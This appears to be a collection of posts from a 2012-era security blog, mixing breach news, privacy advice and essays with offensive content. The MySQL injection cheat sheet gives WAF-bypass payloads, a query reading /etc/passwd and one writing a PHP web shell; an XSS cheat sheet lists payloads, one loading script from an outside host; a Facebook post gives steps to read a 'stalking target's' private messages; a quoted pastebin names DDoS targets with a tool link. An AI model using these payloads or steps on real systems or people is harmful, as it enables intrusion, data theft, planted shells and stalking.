Security Flaws: Why are they ignored?

Nobody likes to feel vulnerable. So why do security flaws get so readily ignored by developers and administrators? This debate rages on in the security community (and probably will for a long time to come).

I personally believe there are a number of correct answers, depending upon the situation. At the end of the day, the outcome will be the same unless this attitude changes, but shedding some light on the reasons behind wilful ignorance of bugs and security flaws will hopefully encourage you, the reader, to take a closer look at yourself and see if you can change the way you look at bugs. So, without further ado, a few of the key reasons that security gets disregarded.

1. Pride

Most large infrastructure and web projects take incredible amounts of time and dedication to design, develop, debug, and deploy. A successful project should indeed be considered a source of pride for all those who were involved in it, but especially the people who brought it to what it is today, from square one.

When we consider this, it's understandable that a developer or administrator may feel embarrassed, threatened, or even insulted if somebody points out flaws in one of their creations.

This is evident in common reactions to researchers reporting vulnerabilities in software and infrastructure. Security researchers are more than often, at the very least; ignored and at the worst sometimes even face legal action, purely for trying to do the right thing with their knowledge.

2. Self-Preservation

My second big reason is self-preservation. I hate to have to say this, but not everybody in this world is looking out for the greater good and that's just the stark reality. While some people will ignore security holes for the sake of their own pride (which is self-preservation in a sense), I will still be ranking this as a separate class because it is selfish on a different level.

The software engineering industry is incredibly competitive in nature and the unskilled quickly fall to the bottom of the pecking order. In order to survive in such a hostile job market, you must stay on the cutting edge of your development area, or at least appear to be doing so.

Some developers will simply refuse to acknowledge a flaw in their code for fear of losing their job or being held accountable in some other way. They are willing to take a gamble with the risk for the sake of their own short-term job security.

Naturally, this approach can result in catastrophic damage to a company and its reputation. We need only look at Sony in the recent LulzSec attacks to see how much damage can be done to a companies reputation in a matter of minutes as a result of sloppy security.

3. Lack of Understanding

Information security is such a vast and readily expanding topic in today's digital society that is impossible for the average person to keep up with what is occurring in the security world on a regular basis. Flaws are found and exploited faster than any one person can keep up. Vulnerabilities pointed out in the early 2000's are still be actively exploited today and continue to occur in newly developed applications.

This environment is simply part of security research and the cat-and-mouse game is never going to change, however, good security practices and adequate testing are the key to risk-minimisation in the IT world. Unfortunately, many developers simply don't understand the risks associated with leaving applications unchecked for security flaws or don't possess the understanding to fix these problems, and as such, choose to ignore them.

This lack of understanding can prove just as dangerous to a companies reputation and infrastructure as the other two already mentioned. Often people with this mindset will be extremely fast to seek help or fix their projects after an attack, but sometimes, it's just too late. When a database full of credit-card details is stolen or corporate secrets are exfiltrated from a company server, the damage cannot be easily undone.

4. Laziness

Let's face it, almost nobody likes having to do extra work, especially if they don't see it as important or they see the time as better spent somewhere else. I think this one is pretty straightforward and self-explanatory, no need for more then one paragraph. The bottom line is, it needs to be done, simple as that. Either fix it yourself or get someone else to do it for you. Laziness is never an excuse and usually leads to a slippery slope of failure.

Developers and administrators of important systems need to do the mature thing and take ownership of their oversights and mistakes. Trying to hide them or transfer the blame to an innocent researcher who attempts to help them out is not helpful or productive in anyway. The more these kinds of attitudes are held, the more security researchers will be pushed into the criminal world where their skills are readily accepted with open arms and sadly but ironically, with considerably less risk of legal complications.

The "bug bounty" programs of companies such as Google, Facebook, and Paypal are a step forward in the future of security research and I hope to see similar programs implemented across a wider variety of companies soon. Who knows? Perhaps some day soon the "Bug Reporting Policy" will be as common to find in e-businesses as the "Privacy Policy" and "Contact Us" page. One can only hope...

Facebook Privacy Breach: Private messages exposed!

Well, well, well... looks like they've done it again. Facebook has created yet another serious privacy concern for their users, and it appears to be accidental, not deliberate like others (Check-In, I'm looking at you).

This time, the private messages of Facebook users have been exposed to their friends and possibly the world as a result of a bug in the new Timeline system. Thanks to this programming glitch, private messages, juicy conversations, and potential data are just a few clicks away from anyone who may wish to access them. Below are the easy steps to try this for yourself:

1. Go to your stalking targets timeline.
2. Select: 2010 from the date list down the right of the page.
3. Look at the part on their page with the heading: "14 friends posted on Targets's timeline."
4. The "wall posts" on this list are actually private messages (Image below). The replies to them is the conversation.

No doubt, this will result in some very bad press for Facebook and heads will be rolling within the development team. I wouldn't even be particularly surprised to see legal action being taken against the social media giant given the potential for leakage of private information. I can already see celebrity gossip stemming from this very glitch.

All in all, this will just be another nail in the coffin for individual privacy on the internet. How could such a glitchy piece of code be published by such a large corporation? Damned if I know, but one things for sure, it definitely isn't going to end well for Mark Zuckerberg or his clients.

University of Technology Hacked? Update: UTS Breach, Users notified.

This weekend I decided that I was going to pay a visit to zone-h.org, the website which hackers present their "defacements" of hacked websites. Now, going through the list, it was apparent that most websites hacked weren't big targets and all simply general unsecured sites that were flowing with many vulnerabilities. However, after going through some pages, I found this:

http://www.zone-h.org/mirror/id/18378427

University of Technology's servers seemed to have been breached on the 2012-09-22 01:10:38. This was only two days ago.

The server which was defaced was: http://datasearch.uts.edu.au

Looking through this, all I see is a blank page with a single word, "Datasearch". It seems almost as if UTS has covered up their tracks.

Through analysing the hackers message, it seems as if this was a targeted hack based on the text written, "Dear, Ugliest Tower In Sydney. Hire some staff who actually know what they are doing. BTW, I just RM -RFd you bitches. That should teach you a lesson."

The greets to ASIO, seem to be related or in response to this: http://www.abc.net.au/news/2012-09-21/asio-wants-phone-and-email-data-stored-for-two-years/4272982

Now here comes the scary bit. These hackers have not only breached the servers but they have also released the majority of some sort of staff or user database.

Going further down in the defacement we can see the details of approximately 757 people, all from UTS or linked in some way. These include usernames, passwords, emails and the works. If almost one thousand people were breached from a well known university in Australia, then why the heck has this not been reported, or been dealt with appropriately?

I have my respect for universities, but this is wrong! If a breach were to occur due to the sloppy coding on our end, the first thing I would do would be report this breach out to those affected IMMEDIATELY.

Even though the data dates back to as of 2002, you will be surprised how many people use the same passwords. Even worse, these passwords are all in plain text. How convenient for the hackers?

UTS, I don't know who you hire for your web security, and network security in general. But as for the recent hacks done on popular Australian universities (University of Sydney and UNSW), considering you pride yourself on being a university focused on technology, this is the wrong way to go.

As of yet, it seems this hasn't been blogged yet, and to me, I find that quite appalling that a breach can happen without those being affected about it knowing.

It would seem that people would be getting secure as the days go by, but honestly, it seems as if a) people are lacking in knowledge to secure themselves, or b) Hackers are excelling in breaking through that security.

That all for now,
Shubham

Update: Many people have written articles on this -
http://www.smh.com.au/it-pro/security-it/hackers-breach-deface-uts-website-20120925-26i4j.html#ixzz27TM6GAw6
http://www.zdnet.com/au/hackers-deface-old-uts-system-dump-user-database-7000004694/

They state that they detected the breach and it was an old server. Still scary news though.

Another 0day in the wild. This time Internet Explorer.

Just recently, the internet experienced a java exploit in the wild. Now, from the same creators, a new 0day has been found affecting internet explorer as a whole. Unlike the Java exploit, which targeted the popular product of Java which has been constantly known for its crappy security, this time, malware engineers have targeted internet explorer, and have been successful.

What I find extremely stupid, is that Eric Romang (http://eromang.zataz.com/2012/09/16/zero-day-season-is-really-not-over-yet/) was able to find this 0day located on the SAME server as the previous java 0day. To me, personally, I think that this exploit was not created by the people on that server but was rather distributed or sold for a very high price on the backbones of Russian blackmarkets such as antichat.

A simple diagram explains the simplicity of this vulnerability:

Source (http://labs.alienvault.com)

Microsoft suggest blocking ActiveX controls for now, and to await for the newest Internet Explorer 10 which supposedly fixes this issue. If one were smart however, he would not be using Internet Explorer at all ;)

Other than this, from my observations, this exploit has gone to total waste! Such an exploit in the blackmarkets could be sold for upto 20k a pop. Meaning that the author of this must be absolutely devastated right now.

Why would it cost so much you ask? Because think about this. As an example we shall use Russian monetizers who use malware as their main platform. The process would be exceedingly simple and profitable for them. All they would have to do is, firstly buy this exploit, secondly load their malware onto it, and thirdly buy traffic originating from developing countries such as India, Pakistan and Vietnam which are more likely to use Internet Explorer. After a constant traffic flow from their usual sources, they would have almost a 60-70% infection rate if done in the masses.

Let us calculate this. Let's say, 100k traffic was sent, 50% of this would be 50k, the Russian monetizers would have gained a 50k net in over a week. With that 50k they would be able to mine for bitcoins or simply sell their slaves as socks 5 proxies. The money in this exceeds thousands.

Anyways, enough of my rambling. It was an absolute great find, and unbelievable that the exploit was located on already blacklisted servers (how stupid?). Stay safe, and be smart. Simply don't use Internet Explorer.

P.S To check out a very in depth full analysis of code, I suggest you visit http://blog.vulnhunt.com/index.php/2012/09/17/ie-execcommand-fuction-use-after-free-vulnerability-0day_en/, which has a much more programmatic approach to this 0day. Also, a metasploit module has already been created for this vulnerability.

XSS Cheat Sheet! Including HTML 5 Vectors.

HTML5 Vectors -

Vectors by Gareth Heyes
Some vectors also from HTML5Sec
Regular Vectors from RSnake

HTML5 Web Applications

<input autofocus onfocus=alert(1)>

  -------------------------------------------------------------

<select autofocus onfocus=alert(1)>

  -------------------------------------------------------------

<textarea autofocus onfocus=alert(1)>

  -------------------------------------------------------------

<keygen autofocus onfocus=alert(1)>

  ------------------------------------------------------------- 

<form id="test"></form><button form="test" formaction="javascript:alert(1)">X</button>

  ------------------------------------------------------------- 

<body onscroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>

  -------------------------------------------------------------

<video onerror="javascript:alert(1)"><source></source></video>

  -------------------------------------------------------------

<form><button formaction="javascript:alert(1)">X</button> 

  -------------------------------------------------------------

<body oninput=alert(1)><input autofocus>

  -------------------------------------------------------------

<frameset onload=alert(1)

 

HTML Web Applications

 ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}

  -------------------------------------------------------------

'';!--"<XSS>=&{()}

  -------------------------------------------------------------

<SCRIPT>alert('XSS')</SCRIPT>
  -------------------------------------------------------------

<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
  -------------------------------------------------------------

<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
  -------------------------------------------------------------

<BASE HREF="javascript:alert('XSS');//">
  -------------------------------------------------------------

<BGSOUND SRC="javascript:alert('XSS');">
  -------------------------------------------------------------

<BODY BACKGROUND="javascript:alert('XSS');">
  -------------------------------------------------------------

<BODY ONLOAD=alert('XSS')>

The fuzzdb including hundreds of XSS vectors.

http://code.google.com/p/fuzzdb/source/browse/trunk/fuzzdb/xss/xss-rsnake.txt?r=42

Robots.txt files, and why it matters!

Believe it or not, one important factor in web security has gone very unacknowledged. The robots.txt file is used by majority of people in order to disallow the indexing of sensitive files. However, the problem with this is, any one has access to your robots file, and you MUST attempt to make it so that nothing important gets disclosed through it.

Many servers hold files called "robots.txt" in their root directory in order to dictate to search engines what is allowed to be indexed, cached and listed in search results. Furthermore these can be listed with sitemaps in order to specify the URLs that search engines should index.

Now, there's one big flaw from this. Suppose, we had a webmaster called Joe, and he didn't want search engines to index a private directory called "privatedirectory". He'd proceed to list this up on his robots.txt file as this:

User-agent: *
Disallow:
Disallow: /privatedirectory

Have you spotted the flaw? It's bluntly obvious! What if someone simply visited the robots.txt file of any giver server at any given time? That would cause this disclosure of this directory that Joe obviously wished to not disclose.

How do you make proper robots.txt files? Use sitemaps! Don't list any private or sensitive directories directly in the robots file and also attempt to use the Allow method rather than the Disallow method shown above.

Personally, back in 2009, I was talking to a few blackhats on IRC and I asked them, what is potentially one of the stupidest things that have helped you get through layers of security? They told me that they were pentesting an ISP, and had found an SQL injection that led to the disclosure of admin passwords, were but stuck at this point. They had no idea what the admin directory was, and had tried all types of methods to try and find it, at they end, they had realised that the answer to where it was located was in plain text in the robots file, which had disallowed the indexing of a directory called "/a1d2m3i4n5". This is quite shocking, as not only should an ISP never have SQLi in the first place but they also should NEVER place such sensitive directories in the robots file.

This concludes my ramble on the robots file, I hope it helps you in whatever position you are in.

MySQL Injection Cheet Sheet (Including Load File and Outfile for Error Based) + WAF Bypassing Methods

MySQL Injection Cheat Sheet

Comments:

Comments are very useful and can sometimes even help bypass certain WAF procedures. These comments are the ones that I have picked up over the last few years:

-- (Simple Comment) --+- (String Based Comment) /* (Multiple Line Comment) # (Single Line Comment) /*!*/ (Bypasses certain WAFs) -- a (Bypasses certain WAFs)

Selecting version:

To select the version, many commands can be used. The list of common commands used to find the version using SQL injection are:

SELECT version() SELECT @@version SELECT @@version_comment SELECT @@version_compile_machine SELECT @@version_compile_os

Finding Database Name (Current):

To select the current database name, the command "select database()" can be used:

SELECT database()

 Finding Error Log Dir:

This can especially help when trying to find a write-able path or even to find the full path of the directory.

SELECT @@log_error

 Finding Columns:

In order to find columns, you can follow two simple methods:

a) Using (union+select+1) and increasing the column count each time until a page with different or abnormal characteristics come up. For example:  www.example.tld/news.php?id=-1+union+select+1-- (Error) www.example.tld/news.php?id=-1+union+select+1,2-- (Error) www.example.tld/news.php?id=-1+union+select+1,2,3-- (No Error) This would mean that the column count is 3. b) Using (order by) statements and increasing the count until a message similar to (Unknown column '[column count here]' in 'order clause') is visible. For example: www.example.tld/news.php?id=-1+order+by+1-- (Error or other page) www.example.tld/news.php?id=-1+order+by+2-- (Error or other page) www.example.tld/news.php?id=-1+order+by+3-- (Unknown column '3' in 'order clause') This would mean that the column count is also 3.

Bypass WAF using encryptions and other methods:

These methods can be quite useful in order to bypass certain WAF protocols. By using these, it may allow for data retrieval bypassing WAF put in place.

union select cast(version() as latin1)-- union select convert(version() as binary)-- union select aes_decrypt(aes_encrypt(version(),1),1)-- union select unhex(hex(versions()))--

Other methods of bypassing WAF include (Credits: slack3rsecurity):

/*!union*/ /*select*/ version()-- //MySQL comments. unUNIONion seleSELECTct version()-- //Filter bypass /**/union/**/select/**/version()--  //Whitespace bypass UnION SElecT version()--  //Mixed upper/lower uni/**/on sel/**/ect version()-- //php comments. uni%6Fn select version()-- //URL encoding. %252f%252a*/union%252f%252a /select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--  //Taking advantage of a WAF that only decodes input once. 0×414141414141414141414141414141414141 union select version()--  //Buffer overflow. union select 0x3a3a3a--  //Encode to bypass magic quotes.

 Extracting Data (Tables and Columns) Using Multiple Methods:

The following methods can be used depending on the server type and version in order to extract data through SQLi. Credit once again goes to #slack3rsecurity and Blackfan.

Rand() and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)-- or (select count(*)from(select 1 union select 2 union select 3)x group by concat(mid((select version() from information_schema.tables limit 1),1,64),floor(rand(0)*2)))-- and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand(0)*2)) x from (select 1 union select 2)a group by x limit 1) -- or (select count(*) from table group by concat(version(),floor(rand(0)*2)))-- union select password from users where id=1 and row(1,1)>(select count(*),concat( (select users.password) ,0x3a,floor(rand()*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- Name_const(Mysql 5.0.12 > 5.0.64) or(1,2)=(select * from(select name_const(version(),1),name_const(version(),1))a)-- Extractvalue & updatexml (MySQL 5.1+) and extractvalue(rand(),concat(0x3a,version()))--  //Xpath error and updatexml(rand(),concat(0x3a,version()))-- //Xpath error Misc. (@:=1)or@ group by concat(@@version,@:=!@)having@||min(0)-- (@:=9)or@ group by left(@@version,@:=~@)having@||min(0)-- UNION SELECT * FROM (SELECT version() FROM information_schema.tables JOIN information_schema.tables b)a--

INTO Outfile and INTO Loadfile (Error Based):

To load etc/passwd using error based injections we can use this query: and+(select+1+from+(select+count(0),concat((select+load_file(‘/etc/passwd’),floor(rand(0)*2))+from+information_schema.tables+group+by+2+limit+1)a) To write a file using error based injections we can simply use this command: or row(1,1) > (select count(*),concat((select (“<?php system($_GET[c]);?>”) into outfile ‘/tmp/shell.php’),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 0,1)

Useful directories and files:

Files to check IF LFI is present or Load File is working:
(To find full path)

/etc/init.d/apache /etc/init.d/apache2 /etc/httpd/httpd.conf /etc/apache/apache.conf /etc/apache/httpd.conf /etc/apache2/apache2.conf /etc/apache2/httpd.conf /usr/local/apache2/conf/httpd.conf /usr/local/apache/conf/httpd.conf /opt/apache/conf/httpd.conf /home/apache/httpd.conf /home/apache/conf/httpd.conf /etc/apache2/sites-available/default /etc/apache2/vhosts.d/default_vhost.include

Credits:

Slack3rSecurity, Hakipedia and Blackfan.

To be continued....

(More to be added to this page in the future)

Half a million credit cards stolen from an Australian business

In recent times, an European crime syndicate has fled with around half a million card details from supposedly a "small Australian business".

My first thought on this was, if the business was small, they wouldn't have half a million cards stored somewhere on their databases and/or systems. My second thought however was, perhaps this "small" business isn't so small after all? Maybe, this business is actually quite big and that it has been covering its name in order to protect itself from the media and its customers.

Regardless of this, half a million cards were still stolen. In the nature of the incident, it sounds as if these cards were not even protected in the simplest forms and the standards of security were astonishing. Any business who wishes to process credit cards should always have secure and tight security measures which grant them the safety and reliability that their company really needs. The methods that they could have used to secure the cards are limitless! They could have hashed them with suppose a secure SHA-256 (http://www.xorbin.com/tools/sha256-hash-calculator) or they could have deleted cards except for the last 4 digits as a method for verification as they had processed the cards, but instead they stored them insecurely and now banks are on a high alert.

Fraud is a big game in the contemporary hacking scene. Majority of hackers, in this current time have had some sort of involvement with fraud or have once or still do participate in it. For them, credit cards are nothing but numbers, which can or will get them rich if they use them correctly. They don't emphasise for the people that they are really hurting and really do not have any sense of morale. Day by day, fraud is only increasing, and it's up to us to make sure we know if the person we are transferring details to is secure.

SQL Injections, RDP bruteforcing, XSS attacks, and even MITM attacks. These techniques all make it possible for hackers to obtain databases and potentially steal credit cards as well as destroy lives.

Stay Safe, Stay Secure.
EPZSecurity.

theHarvester 2.2 by Edge Security - Information Grabber

'theHarvester' is a robust tool created by Edge Security which allows the gathering of various data such as emails, subdomains, hosts, employee names, open ports and banners from different public sources like search engines, PGP key servers and SHODAN computer database. 

In the blackhat world, people may find the theHarvester as a useful tool to "dox" individuals through a simple python command line interface.

The tool can be downloaded from their official repository located at: https://code.google.com/p/theharvester/

Be sure to check out theHarvester's creator, Edge Security: http://www.edge-security.com

Usage: theharvester options
       -d: Domain to search or company name
       -b: Data source (google,bing,bingapi,pgp,linkedin,google-profiles,people123,jigsaw,all)
       -s: Start in result number X (default 0)
       -v: Verify host name via dns resolution and search for virtual hosts
       -f: Save the results into an HTML and XML file
       -n: Perform a DNS reverse query on all ranges discovered
       -c: Perform a DNS brute force for the domain name
       -t: Perform a DNS TLD expansion discovery
       -e: Use this DNS server
       -l: Limit the number of results to work with(bing goes from 50 to 50 results,
       -h: use SHODAN database to query discovered hosts
            google 100 to 100, and pgp doesn't use this option)
Examples:./theharvester.py -d microsoft.com -l 500 -b google
         ./theharvester.py -d microsoft.com -b pgp
         ./theharvester.py -d microsoft -l 200 -b linkedin

Pastebin Breakdown #1 Anonymous Cyprus OpCyprus May 4th - 2/5/12

The interest towards website security has significantly jumped throughout the last few years. Hacktivism has spread throughout nations and the followers of the Anonymous collective has increased in numbers significantly. It is apparent that people are using their skills in website penetration to get their message across, whether good or bad.

In my view, Anonymous is neither good or bad. But something that everyone should understand is that Anonymous is not a group. Its a collective. It can be anyone, regardless of whether they are hackers or not. This is why they are so successful. It could be from any where in the world. This is why it is so widespread. And it can range from a variety of age groups. This is why the followers are so abundant in numbers.

Pastebin has been around since 2002 and has encouraged freedom of speech and has allowed at nearly all stages, any text what so ever to be hosted on their servers. Its conventional use is the ability to share and view text hosted online. But nowadays, pastebin is one of the most comprehensive text hosting sites available and to hackers, it is seen as a perfect way of hosting their messages. Throughout this series, you will experience the trending messages that hackers have been posting up on pastebin, and the deconstruction of each message.

In this series, ill cover a range of trending Pastebin's, in a process of deconstructing them and finding out their true meaning and origins.

Let's start!

Pastebin Number #1 - http://pastebin.com/BDE34fzS
Pastebin Contextual Data: BY: A GUEST ON APR 28TH, 2012  |  SYNTAX: NONE  |  SIZE: 0.88 KB  |  HITS: 361  |  EXPIRES: NEVER Title:Anonymous Cyprus OpCyprus May 4th

-------------------------------------------------------------------------------------------------------------

OpCyprus 

Anonymous Cyprus Vs Freemasony. WE RUN THIS !

Anonymous is fighting capitalism, 

Illuminati governments, 

Freemasons and their plans. 

We can fight them 

We are Anonymous 

And we Are Legion

We know what your doing. 

Try to take freedom from humanity 

We won't let you sleep. 

Stop the New World order 

This is Anonymous order

Anonymous means Freedom 

Freedom is what we fight for

United as one Anonymous 

We will not forget

Expect us~!

On May 4th , Anonymous Cyprus is launching an attack at the Freemason sites on Cyprus.

TARGET1: http://www.cyprus-freemasons.org.cy/  (IP 77.235.37.41)

TARGET2: http://www.megalistoatiskyprou.org/  

Download HOIC at: http://tinyurl.com/75ju7q8 

Free VPN services: 

http://proxpn.com/

https://www.vpnreactor.com/

FACEBOOK EVENT AT http://www.facebook.com/events/278238848933497/278274398929942/

-------------------------------------------------------------------------------------------------------------

Intro:

After taking a quick look at this pastebin, we are able to make out that the main cause is to attack freemason websites throughout Cyprus. The main two aims of this pastebin is to take down these two targets, through the means of denial of service attacks (HOIC) :

a) http://www.cyprus-freemasons.org.cy
b) http://www.megalistoatiskyprou.org

Sources/Media Coverage:

https://www.facebook.com/events/278238848933497/278274398929942/ <- Stated at bottom of Pastebin

https://www.facebook.com/pages/OperationFreedom-Current-Targets/203830012999929 <- A few google searches

https://plus.google.com/117604887745850959716/posts/duZ1Vagxg2v <- Google+ Thread

www.youtube.com/watch?v=1b8Cicn-otM<- Video of OPCyprus

https://www.facebook.com/pages/Anonymous-OpCyprus/248232568539780 <- Facebook Page for OPCyprus (363 Likes)

And lastly, the most interesting: http://anongroup.net/opcyprus <- The statement about OPCyprus from Anonymous

Personal Thought and Opinion:

This attack is not sophisticated, it is not in any way in my personal and honest opinion, going to have any great outcomes other than taking down a couple of cyprus, freemason websites for a few days at the most. It follows the traditional anonymous attack (DDOS) via the use of a variety of DDOS'ing tools such as LOIC and HOIC through a mass user base in order to take someone or some website down. Bottom line, my personal opinion is that no matter how much or how hard they keep on trying to hit down cyprus freemason websites, they are still not going to achieve their goals. No message is actually getting across and in no way are they proving themselves in the sense of they want freedom. Who ever has designed and tried to execute this plan has been extremely clumsy and unaware in planning and doing so. The two VPN services that he/she lists, both have logging enabled and the targets he has chosen are both unpopular and will have minimal effect if even taken down.

Hacktivism is on the rise, and stunts like these will continue to occur, whether for good or bad. Stay tuned for the next Pastebin breakdown, and keep yourself updated about whats going down on the internet at http://pastebin.com/trends.

See you next time,
Shubham

Privacy Precautions in Web Development - Part 2

In my last blog post, I introduced you to the nature of privacy issues in Web Development and touched on the subject of WHOIS data and anonymous domain registration. I will be following a similar theme in this post, but from a whole different angle: Images.

Digital images have caused almost as many problems as they have solved, not the least of which are privacy and security related. Images get distributed so frequently and rapidly that they have become a dangerously fast way to spread both good and bad information for an infinite number of purposes. Like most vectors for attack, images can present security risks in a number of ways and occur in anything from photos that were meant to remain private to stolen blueprints.

Today, I am going to be exploring another potentially dangerous feature that's included in modern digital images known as EXIF. Almost every electronic device that handles images today uses EXIF to store miscellaneous information about them including chronological data such as date and time, the camera used and it's settings, thumbnails, descriptions, copyrights, and finally, geolocation data. This is the big one because when combined with chronological information geolocation data can directly pinpoint an individuals location.

This may seem unrelated to web development, but it's closer to the subject then it appears on the surface. When you upload images to a website such as Facebook it puts them through a specific "cleaning" process. This includes cropping, resizing and removing or removing data such as Geolocation tags, for your privacy. An increasing number of image hosting sites are doing the same kind of thing. But what about your website, if you host images directly on your website, are you cleaning them first? Do you allow users to upload images publicly without prior approval? These are questions web developers must ask themselves if privacy and security are attributes they want for their website.

As with the WHOIS data in the last post, there is numerous vectors for attack that arise from EXIF geotagging being used without the knowledge of the end-user, the most obvious scenario being that an attacker could locate the publisher via geotags. But how can this form of tracking be prevented?

The safest way is to stop the problem at it's root, your phone. If you have geotags attached to your images, they almost definitely came from a smartphone. Most smartphone's have this ability set to default so you can very easily be tagging your images and remain completely oblivious. All good smartphone's should also have an option to disable geotagging, however, it may be referred to slightly more cryptically. One example of a euphemised name for geotagging is "Location Services" on the iPhone.

If you would rather deal with Exif data on your computer, there's a number of options you could take. If you use Photoshop a lot for images, there's a free script available called ExifStrip for Photoshop, written by John Price, which removes EXIF data from images and is compatible with both Mac and Windows. Another free alternative is Exif Eraser, a small tool that batch-removes the EXIF data from all the images in a particular directory, unfortunately it's only compatible with windows. As for Linux, there's a good tutorial about removing EXIF data in Ubuntu here.

If you choose to make use of geotags, your best bet would be to ensure that the images are only released in a controlled environment and distributed to trusted friends, family or colleagues. You never know when a geotagged image might come back to bite you, so use this feature wisely, if at all.

Privacy Precautions in Web Development - Part 1

Privacy has been a hot topic of late among the IT Industry and the general public. With privacy breaches in the corporate world gaining media attention, along with the recurring news stories revolving around privacy (or lack thereof) in social networks such as Facebook and Twitter, privacy issues have shaken up quite a stir across both professional and unprofessional circles. But what does all this have to do with Web Development? Most business data breaches of late come from either internal corrupt employees or hackers gaining unauthorized access to information through security holes, but there is another side to privacy that most seem to miss.

As strange as it sounds, there can be "legal privacy breaches" that can occur for a number of reasons. In the age of social networking, many of us inadvertently put enough information on the internet in scattered across various places to have our identity taken. While it may be illegal to actually make use of this information for malicious purposes, nothing is stopping people from gathering it and compiling it against your will. This is often overlooked when the inexperienced register a domain or setup a website for them or their business.

As a hypothetical example of my point, I will give you a scenario which I see very frequently. Let's say we have an individual and for our purposes, I'm going to call him "John Smith". John Smith runs his own small business from home and decides to make a website. He registers his own domain and fills in all the required information without a thought of privacy because, being a layperson, he doesn't know what it's used for.  Further down the track, he has a competitor who decides that he wants access to Johns private email address and hires someone to take care of this, but he only has the web address for Johns site.

So, what does our attacker do? A WHOIS lookup of course, which reveals Johns full name, address, email, phone number, etc. This is more than enough information to work with for an experienced attacker, it provides multiple attack vectors from social engineering, to further researching and even the possibility of a physical break-in on Johns house. Going down the 2nd avenue mentioned, our hypothetical attacker could then very easily locate most social networking accounts which, chances are, would contain a personal email address or further information leading to one, as well as miscellaneous data like names of pets, a date/place of birth, education and even close friends or family. This alone could allow any attacker to answer most security questions on an email account and gain access.

This is only one very simple example of how regular people can allow security breaches accidentally, sadly there are infinite possibilities when it comes to this kind of attack so I can't list every avenue or vector. How abstract an attack is comes down to the creativity and perseverance of an attacker. There is no simple solution to online privacy problems, but the possibility of an attack like this can be decreased substantially with understanding and a layered approach to privacy.

For this post, I will only be looking at the domain, but I will follow it up in posts to come. WHOIS data is very easy to retrieve and is indexed by an extremely large number of websites and databases. One of the safest ways to register a domain is "By-Proxy". A proxy is basically a go-between which hides your information from the outside world, the term is also used in other areas of computing and even other industries altogether. In the case of Go Daddy's service, the WHOIS information is replaced with something such as:

Registrant:
   Domains By Proxy, LLC

   Registered through: GoDaddy.com, LLC (http://www.godaddy.com)
   Domain Name: --Removed--

   Domain servers in listed order:
      NS67.DOMAINCONTROL.COM
      NS68.DOMAINCONTROL.COM

Obviously, your personal information could still be requested through a legal subpoena or similar, but it should stop most outside attackers, not accounting for social engineering attacks on your registrar. 

Another similar alternative which is also very effective is WhoisGuard. It does a similar thing, instead replacing all the contact fields with their own information and an anonymous email address that can be redirected to the owners email. A WhoisGuard record typically looks similar to this:

Registrant Contact:

   WhoisGuard

   WhoisGuard Protected ()

   

   Fax: 

   11400 W. Olympic Blvd. Suite 200

   Los Angeles, CA 90064

   US

Administrative Contact:

   WhoisGuard

   WhoisGuard Protected (@whoisguard.com)

   +1.6613102107

   Fax: +1.6613102107

   11400 W. Olympic Blvd. Suite 200

   Los Angeles, CA 90064

   US

Technical Contact:

   WhoisGuard

   WhoisGuard Protected (@whoisguard.com)

   +1.6613102107

   Fax: +1.6613102107

   11400 W. Olympic Blvd. Suite 200

   Los Angeles, CA 90064

   US

Both these options provide extra privacy and security for your websites WHOIS information. They are reasonably priced and WhoisGuard has free trials on some large registrars.

I hope that this post has helped enlighten you to a possible security risk that you could be preventing, and as I said earlier, I will be following up this post with further privacy advice at a later date.

Security Seal - Beta

We are excited to announce that our brand new security seal is now in beta. We will release a preview as soon as it's stable and tested.

Give it a go by clicking on the security seal below:

Welcome

Hey everyone!

Leon here on behalf of all of EPZ Security, I want to welcome you to our brand new blog: In-Security. We'll be keeping you up-to-date on the latest in security news, alerting you to new threats and giving out advice on how to better protect yourself in today's technological age.

We look forward to helping make the web a safer place for everyone through this exciting new medium.